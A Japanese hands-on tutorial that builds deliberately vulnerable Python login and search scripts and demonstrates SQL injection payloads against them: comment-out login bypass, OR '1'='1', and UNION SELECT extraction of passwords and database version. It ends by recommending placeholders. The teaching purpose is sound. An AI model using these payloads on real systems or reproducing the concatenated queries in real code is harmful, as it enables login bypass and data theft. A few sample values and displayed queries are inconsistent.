0.はじめに
- SQLインジェクション対策をプログラミングから学ぶことを狙いとしています
- プログラムにおけるSQLの組み立てを理解できることを狙いとしています
- わざと脆弱性の高いプログラムを制作し攻撃方法の体験を行います
- 自分が管理しないシステムへの攻撃は不正アクセス禁止法等の法律により禁止されており、処罰の対象となります
- 実習環境で学んだ攻撃手法を一般環境で使うことは禁止です
1.目標
- SQLインジェクションを理解し、説明できる
- SQLインジェクション対策でパラメータクエリが有効なのかを予想できる
2.SQLインジェクションとは
- 開発者の意図しないSQLを実行させてしまう攻撃手法のこと
- "インジェクション"は日本語で「注入」という意味をもつ
- ユーザーの入力値を文字列結ぐで埋め込むのは一番のリスクであり原因
2.1 SQLインジェクションを受けやすい記述方法
危険な記述の例
sql = ("SELECT id, username, role FROM members "
"WHERE username = '" + username + "' "
"AND password = '" + password + "'"
)
cursor.execute(sql)
3. 実習
3.1 実習テーブル概要
- members:ユーザーIDとパスワードを管理するテーブル
- サンプルデータはAIを使用して作成しました
パスワードを平文で管理することはセキュリティリスクがかなり高いため非推奨
| id | username | password | role | |
|---|---|---|---|---|
| 1 | alice | alice123 | user | alice@example.com |
| 2 | bob | bobsecret | user | bob@example.com |
| 3 | carol | carol2024 | user | carol@example.com |
| 4 | admin | P@ssw0rd!2026 | admin | admin@example.com |
- products:商品情報と価格を管理するテーブル
- サンプルデータはAIを使用して作成しました
| id | name | price |
|---|---|---|
| 1 | ブレンドコーヒー | 400.00 |
| 2 | カフェラテ | 480.00 |
| 3 | 緑茶 | 350.00 |
| 4 | ほうじ茶 | 350.00 |
| 5 | クロワッサン | 280.00 |
| 6 | チョコパン | 220.00 |
| 7 | サンドイッチ | 520.00 |
3.2 実習テーブルの作成
members.sql
-- 既存テーブルを削除(何度でもやり直せるように)
DROP TABLE IF EXISTS members;
-- members テーブル
CREATE TABLE members
(
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL UNIQUE,
password VARCHAR(100) NOT NULL, -- ※平文保存(これ自体も脆弱なのでやってはいけない)
role VARCHAR(20) NOT NULL DEFAULT 'user',
email VARCHAR(100)
);
INSERT INTO members (username, password, role, email) VALUES
('alice', 'alice123', 'user', 'alice@example.com'),
('bob', 'bobsecret', 'user', 'bob@example.com'),
('carol', 'carol2024', 'user', 'carol@example.com'),
('admin', 'P@ssw0rd!2024','admin', 'admin@example.com');
products.sql
-- 既存テーブルを削除(何度でもやり直せるように)
DROP TABLE IF EXISTS products;
-- productsテーブル
CREATE TABLE products
(
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(100) NOT NULL,
price DECIMAL(10,2) NOT NULL
);
INSERT INTO products (name, price) VALUES
('ブレンドコーヒー', 400.00),
('カフェラテ', 480.00),
('緑茶', 350.00),
('ほうじ茶', 350.00),
('クロワッサン', 280.00),
('チョコパン', 220.00),
('サンドイッチ', 520.00);
3.3 実習用プログラム
- DBへの接続方法など環境が異なる場合、直接コピーで動作しない可能性があります
test_login.py
from db.connection import get_connection
# DB接続をメソッド化
def get_db_connection():
try:
connection = get_connection()
return connection
except Exception as e:
print(f"[DB CONNECTION] 失敗: {e}")
return None
def login(connection, username: str, password: str) -> tuple:
try:
connection.begin()
cursor = connection.cursor()
# これはダメな例: SQLインジェクションの脆弱性がある
cursor.execute(
"SELECT id, username, role FROM members "
"WHERE username = '" + username + "' "
"AND password = '" + password + "'"
)
print("\n--- 実行されるSQL文 ---")
print(cursor._executed) # _executed:実行されたSQL文を表示する属性
print("-----------------------")
result = cursor.fetchone()
if result:
return result
else:
raise ValueError("ユーザー名またはパスワードが正しくありません。")
except ValueError as e:
print(f"[LOGIN] 値のエラー: {e}") #エラーメッセージ {e} を直接表示するのも脆弱性のひとつ
return None
except Exception as e:
print(f"[LOGIN] 予期しないエラー: {e}")
return None
finally:
if cursor is not None:
cursor.close()
def main():
connection = get_db_connection()
if connection is None:
return
while True:
print("\n=== ログイン === (終了は username に 'quit' を入力)")
username: str = input("ユーザー名 > ")
if username.lower() == 'quit':
break
password: str = input("パスワード > ")
row = login(connection, username, password)
if row:
print("\n✅ ログイン成功")
print(f"ユーザーID: {row['id']}, ユーザー名: {row['username']}, 権限: {row['role']}")
else:
print("\n❌ ログイン失敗")
connection.close()
if __name__ == "__main__":
main()
test_search.py
from db.connection import get_connection
# DB接続をメソッド化
def get_db_connection():
try:
connection = get_connection()
return connection
except Exception as e:
print(f"[DB CONNECTION] 失敗: {e}")
return None
def search(connection, keyword: str) -> list:
try:
connection.begin()
cursor = connection.cursor()
# これはダメな例: SQLインジェクションの脆弱性がある
cursor.execute(
"SELECT id, name, price FROM products "
"WHERE name LIKE '%" + keyword + "%'"
)
print("\n--- 実行されるSQL文 ---")
print(cursor._executed) # _executed:実行されたSQL文を表示する属性
print("-----------------------")
results = cursor.fetchall()
if results:
return results
else:
raise ValueError("該当する商品が見つかりませんでした。")
except ValueError as e:
print(f"[SEARCH] 値のエラー: {e}") #エラーメッセージ {e} を直接表示するのも脆弱性のひとつ
return None
except Exception as e:
print(f"[SEARCH] 予期しないエラー: {e}")
return None
finally:
if cursor is not None:
cursor.close()
def main():
connection = get_db_connection()
if connection is None:
return
while True:
print("\n=== 検索 === (終了は 'quit' を入力)")
keyword: str = input("キーワード > ")
if keyword.lower() == 'quit':
break
rows = search(connection, keyword)
if rows:
print("\n✅ 検索成功")
for row in rows:
print(f"商品ID: {row['id']}, 商品名: {row['name']}, 価格: {row['price']}")
else:
print("\n❌ 検索失敗")
connection.close()
if __name__ == "__main__":
main()
3.4 ログイン突破を体験する(test_login.py)
3.4.1 正常ログインを確認する
| 入力項目 | 入力値 |
|---|---|
| ユーザー名 | alice |
| パスワード | alice123 |
3.4.2 攻撃①:コメントアウトでパスワード判定を消してみる
- adminのパスワードを知らない(設定で)、adminにログインしてみます
- ログイン処理が成功することを確認してください
| 入力項目 | 入力値 | 注意事項 |
|---|---|---|
| ユーザー名 | admin'-- | 末尾に半角スペース1文字を入力してください |
| パスワード | なんでもOK |
- 実行されたSQLを確認しましょう
- パスワードの条件式がコメント化されて機能しなくなります
実行されたSQL
SELECT id, username, role FROM members WHERE username = 'admin'-- ' AND password = ''
3.4.3 攻撃②:常にTrueになる条件(OR '1'='1')
- ログインの処理が成功することを確認してください
| 入力項目 | 入力値 |
|---|---|
| ユーザー名 | alice |
| パスワード | ' OR '1' = '1 |
- 実行されたSQLを確認しましょう
- 「'1'='1'」は必ずTrueになる条件です
- WHERE条件全体が常に成立し、全ユーザーレコードが取得可能
- ただし、プログラムでは .fetchone 記述により1件のみレコードが返されている
実行されたSQL
SELECT id, username, role FROM members WHERE username = 'admin' AND password = '' OR '1' = '1'
3.5 情報を窃取する(test_search.py)
3.5.1 正常ログインを確認する
| 入力項目 | 入力値 |
|---|---|
| キーワード | コーヒー |
3.5.2 攻撃③:UNIONで別テーブルを連結する
- UNION句は2つのSELECT文を和集合で連結します
- 次の値を入力した結果を確認してください
- 末尾にはログインと同じように半角スペース1文字を入れてください
| 入力項目 | 入力値 |
|---|---|
| キーワード | ' UNION SELECT username, password, role FROM members -- |
- 実行されたSQLを確認しましょう
- 無理やりですが、和両立が成立し2つのテーブルがUNIONされます
- 商品とは全く関係のないmemberテーブルの情報が出力されました
実行されたSQL
SELECT id, name, price FROM products WHERE name LIKE '%' UNION SELECT username, password, role FROM members -- %'
3.5.3 攻撃④:DBの内部情報を窃取する
- UNION句を悪用するとDBの内部情報も窃取される恐れがある
- 末尾にはログインと同じように半角スペース1文字を入れてください
| 入力項目 | 入力値 |
|---|---|
| キーワード | ' UNION SELECT @@version, current_user(), '3' -- |
- 実行されたSQLを確認しましょう
- DBのバージョン情報、DBへの接続ユーザー名を取得することができました
- 攻撃者はここから攻撃材料を判断して更なる攻撃を加えてきます
実行されたSQL
SELECT id, name, price FROM products WHERE name LIKE '%' UNION SELECT @@version, current_user(), '3' -- %'
4. SQLインジェクションの脅威
SQLインジェクションは不正なSQLL文を実行させてデータベース内の情報を取得・改ざん・削除するサイバー攻撃手法です. OWASP1が公開するWebアプリケーションにおける最も重要なセキュリティリスクを10のカテゴリに分類し、意識向上を目的としてまとめられた文書「OWASP Top 10」でも上位にランクインされる脅威です.基本的な対策をしっかりと考慮した対策を行いましょう.
5. まとめ
- SQLインジェクションは入力値を文字列結合でSQLに埋め込むことを目的とした攻撃手法
- シングルクォーテション(')、コメント(--)、UNION句などでSQL文の意味を書換えられてしまう
- 認証突破・データ改ざん・情報流出など攻撃を受けた場合の被害規模は計り知れない
- 入力値を「ただのデータ」として扱うプレースホルダで必ず対策をしよう
-
OWASP(Open Worldwide Application Security Project):アメリカの非営利組織でwebアプリケーションのセキュリティに関する研究や脆弱性診断ツールの開発など活動をおこなっている. ↩